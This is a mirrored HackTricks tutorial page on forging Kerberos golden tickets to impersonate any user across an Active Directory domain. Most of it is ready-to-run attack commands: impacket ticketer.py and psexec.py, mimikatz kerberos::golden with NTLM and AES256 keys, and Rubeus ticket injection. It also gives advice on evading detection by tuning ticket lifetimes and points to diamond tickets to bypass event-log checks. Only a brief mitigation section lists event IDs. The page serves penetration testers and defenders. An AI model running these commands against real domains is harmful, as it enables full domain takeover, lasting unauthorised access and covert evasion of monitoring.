mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
94 lines
6.6 KiB
Markdown
94 lines
6.6 KiB
Markdown
# Golden Ticket
|
||
|
||
<details>
|
||
|
||
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
## Golden ticket
|
||
|
||
A valid **TGT as any user** can be created **using the NTLM hash of the krbtgt AD account**. The advantage of forging a TGT instead of TGS is being **able to access any service** (or machine) in the domain and the impersonated user.\
|
||
Moreover the **credentials** of **krbtgt** are **never** **changed** automatically.
|
||
|
||
The **krbtgt** account **NTLM hash** can be **obtained** from the **lsass process** or from the **NTDS.dit file** of any DC in the domain. It is also possible to get that NTLM through a **DCsync attack**, which can be performed either with the [lsadump::dcsync](https://github.com/gentilkiwi/mimikatz/wiki/module-\~-lsadump) module of Mimikatz or the impacket example [secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py). Usually, **domain admin privileges or similar are required**, no matter what technique is used.
|
||
|
||
It also must be taken into account that it is possible AND **PREFERABLE** (opsec) to **forge tickets using the AES Kerberos keys (AES128 and AES256)**.
|
||
|
||
{% code title="From Linux" %}
|
||
```bash
|
||
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
|
||
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
|
||
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="From Windows" %}
|
||
```bash
|
||
#mimikatz
|
||
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
|
||
.\Rubeus.exe ptt /ticket:ticket.kirbi
|
||
klist #List tickets in memory
|
||
|
||
# Example using aes key
|
||
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
|
||
```
|
||
{% endcode %}
|
||
|
||
**Once** you have the **golden Ticket injected**, you can access the shared files **(C$)**, and execute services and WMI, so you could use **psexec** or **wmiexec** to obtain a shell (looks like yo can not get a shell via winrm).
|
||
|
||
### Bypassing common detections
|
||
|
||
The most frequent ways to detect a golden ticket are by **inspecting Kerberos traffic** on the wire. By default, Mimikatz **signs the TGT for 10 years**, which will stand out as anomalous in subsequent TGS requests made with it.
|
||
|
||
`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
|
||
|
||
Use the `/startoffset`, `/endin` and `/renewmax` parameters to control the start offset, duration and the maximum renewals (all in minutes).
|
||
|
||
```
|
||
Get-DomainPolicy | select -expand KerberosPolicy
|
||
```
|
||
|
||
Unfortunately, the TGT's lifetime is not logged in 4769's, so you won't find this information in the Windows event logs. However, what you can correlate is **seeing 4769's **_**without**_** a prior 4768**. It's **not possible to request a TGS without a TGT**, and if there is no record of a TGT being issued, we can infer that it was forged offline.
|
||
|
||
In order to **bypass this detection** check the diamond tickets:
|
||
|
||
{% content-ref url="diamond-ticket.md" %}
|
||
[diamond-ticket.md](diamond-ticket.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Mitigation
|
||
|
||
* 4624: Account Logon
|
||
* 4672: Admin Logon
|
||
* `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property`
|
||
|
||
Other little tricks defenders can do is **alert on 4769's for sensitive users** such as the default domain administrator account.
|
||
|
||
[**More information about Golden Ticket in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)
|
||
|
||
<details>
|
||
|
||
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|